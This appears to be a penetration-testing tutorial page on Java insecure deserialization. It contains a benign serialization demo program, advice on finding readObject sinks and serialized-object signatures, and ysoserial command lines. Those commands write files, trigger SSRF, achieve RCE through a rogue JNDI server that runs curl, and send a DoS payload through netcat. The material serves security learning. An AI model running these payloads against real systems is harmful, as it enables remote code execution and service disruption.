Insecure Deserialization

What is Deserializaiton

Serialization is a method of creating binary form from objects. (Useful for transportation and storing information)

Serialized data can be deserialized - transformed from binary form to object which can cause unexpected bahaviours in some cases.

order to better understand deserialization I recommend the following exercise on Pentester Lab: https://pentesterlab.com/exercises/pickle

Insecure Deserialization

Video explaination

What causes deserialization vulnerability (Java)

Among many other functions Java uses ObjectInputStream.readObject() in order to deserialize objects.

readObject() alone is just responsible for creating (instantiating) the serialized object and not for checking what kind of object it is.

Not checked object / Invalid object check = Insecure Deserialization

Understanding deserialization

In order to be able to serialize and then de-serialize an object, some conditions have to be met:

  • An object to be serialized has to implement Serializable interaface

  • All the classes to be deserialized have to be present on deserializing classpath. Serialization concerns state of an object, but the definition has to be already present on the deserializing side.

Simple serialization / deserialization application

Application below serializes and deserializes Java Objects. It is created by me - I highly encourage you to create your own version of this application since in order to be the best in finding this type of vulnerability we have to create strong fundamentals of this topic in our minds.

Useful resource: https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/

package com.company;

import java.io.*;

public class Main {

    public static String filename = "serialized.txt";
    public static String variable = "hello world";

    public static void main(String[] args) {
        serialize();
        deserialize();
    }

    public static void serialize() {
        System.out.println("Serializing...");
        try {
            // Create a file
            FileOutputStream fileOutputStream = new FileOutputStream(filename);

            // Save object "var" to a file
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(variable);

            // closing the streams
            objectOutputStream.close();
            fileOutputStream.close();
        } catch (IOException exception) {
            exception.printStackTrace();
        }
    }

    public static void deserialize() {
        System.out.println("Deserializing...");
        try {
            // Read file
            FileInputStream fileInputStream = new FileInputStream("serialized.txt");

            // Pass the object from file to objectinputstream
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

            // Create object from file contents
            Object variable = objectInputStream.readObject();
            // Create String from created Object
            String variableString = variable.toString();

            // Printing the object
            System.out.println(variableString);

            // closing
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
}

Finding deserialization vulnerabilities (Java)

Deserialization exploits work like a method which is executed upon instantiating an object.

White Box

Look for readObject() functions. They are potential sinks of deserialization vulnerability (of course, if you are able to deliver user-controlled data to them). Even if someone calls a serie of checks after the object is “read”, it’s already too late.

Often software vendors build own wrappers for readObject, e.g. consider a function vendorDeserialize() being present in source code but using ois.readObject() under the hood.

Found sink testing

In order to be able to test deserialization vulnerability, you have also to find a way to deliver the serialized data to the found insecure code during SAST.

Usually, easiest way to spot serialization being in use is to inspect application traffic.

Java serialized objects have a specific signature which easily allow to identify them, which is binary 0xaced0005. It translates to base64 rO0AB.

Serialized java object might be wrapped into any kind of encryption or encoding, thus when dealing with Java application it is worth to dig deeply into any encoded data being sent. That involves e.g. TCP traffic, or HTTP channels like POST parameters, Cookies and Headers.

If there’s any data you suspect of being a serialized Java object, you can use tool named Serialization Dumper tool to inspect it.

Serialization Dumper

One of the fields is SerialUID which is an unique class version identifier. This is something that might cause your payloads to fail, and it’s described later on in “troubleshooting” section along with another issues.

YsoSerial Exploitation

YsoSerial consists of modules named payloads. Each payload generates a serialized object which once instantiated, invokes some kind of action.

YsoSerial listed payloads

The classes that have some specific features making them usable as gadgets are rarely native java classes. They are often more sophisticated objects, which are parts of some commonly used libraries.

How to choose payload

If you look at source code in ysoserial’s payloads, you will find comments indicating proper usage of each payload module.

Existence of serialized objects in communication does not mean that application is vulnerable - this can be as well properly designed serialization.

FileUpload, Wicket1

These are similar to each other. Serialized object relies on DiskFileItem class, which results in creating a file on remote OS. If you look at source code of e.g. FileUpload1, you’ll find the usage code’s comments. If remote classpath contains FileUpload / Wicket dependencies and is vulnerable to insecure deserialization, you can use following command to generate ysoserial’s payload:

java -jar ysoserial.jar FileUpload1 “write;/tmp;CONTENTSOFTHEFILE”

This will make the remote JVM to save a randomly named file with content CONTENTSOFTHEFILE in /tmp directory.

Object Lookup payloads

Object Lookup is a Java feature related to Java Naming and Directory Interface. In short, it allows for retrieving (“looking up”) remote Objects from various sources. These sources can be LDAP directories, RMI Servers or HTTP Servers. Usually, this feature is abused against vulnerability class JNDI Injection.

Payloads that rely on this attack vector needs you to host a malicious object on your side, and the deserializing end will perform a lookup of the malicious object, which means, it will download and execute it. Due to hardening of modern Java there are some caveats which won’t be discussed here due to being too extensive. In short, in the past you were able just to host a compiled Java class to be executed. Now it has to meet some more requirements, which are described in aforementioned article about JNDI Injections.

To use this payload, first we run a netcat listener and a vulnerable TCP server.

This payload (if C3P0 gadgets are present on classpath) can be used to craft both a SSRF and an RCE. For simple SSRF (Lookup attempt) use

java -jar ysoserial.jar C3P0 “http://127.0.0.1:9999/:SSRF" | nc -v 127.0.0.1 12345

For RCE, we’ll need to set up rogue-jndi and point the ysoserial payload to it.

java -jar ysoserial.jar C3P0 “http://127.0.0.1:8000/:xExportObject" | nc -v 127.0.0.1 12345

While on port 8000 there’s rogue-jndi listening

java -jar RogueJndi-1.1.jar -c “curl http://127.0.0.1:9999/rce"

Which results in executing the malicious object

URLDNS payload

A very powerful payload in terms of blind testing. DNS Lookup is a feature of Java when handling serialized URL object crafted in a specific way. It’s powerful because that payload also does not require any additional libraries to work. Use it as:

java -jar /root/Tools/ysoserial.jar URLDNS “http://12345.burpcollaborator.net”

This results in an DNS lookup. While it’s not much of an Impact, it’s a good way to confirm that insecure deserialization exist.

If you do not have Burp Pro, you can use DNSChef to receive the DNS interaction. Note, that this payload is also designed just to detect arbitrary serialization, the DNS resolution does not add any significant impact (the most significant I can think of is revealing an internal host IP)

Jython and Myfaces

Jython payload is supposed to work in a similar manner as FileUpload, with a difference — it also runs the uploaded script.

Myfaces1 — It should rely on executing EL expression, however during experiments.

RCE payloads

All other payloads, listed below, are designed for direct Code Execution. Note, that on modern Java you will have trouble running CommonsCollections 1–4 included due to hardening of JDK classes. If you have access to stack traces this can be confirmed if an error “missing element entrySet” is found.

DOS payloads

Native JDK DoS PoC relies on a recursive HashSet. You can find the original one here, I just changed it a bit so it generates a serialized payload instead of deserializing itself instantly. You can download modified version of this payload here. The serialized payload, when sent to vulnerable TCP Server, causes resource consumption to spike. We generate the dos payload:

javac SerialDOS.java && java SerialDOScat dos.ser | nc -v 127.0.0.1 12345
Other payloads

Pentesterlab

Portswigger


Source: https://afine.com/testing-and-exploiting-java-deserialization-in-2021

Last updated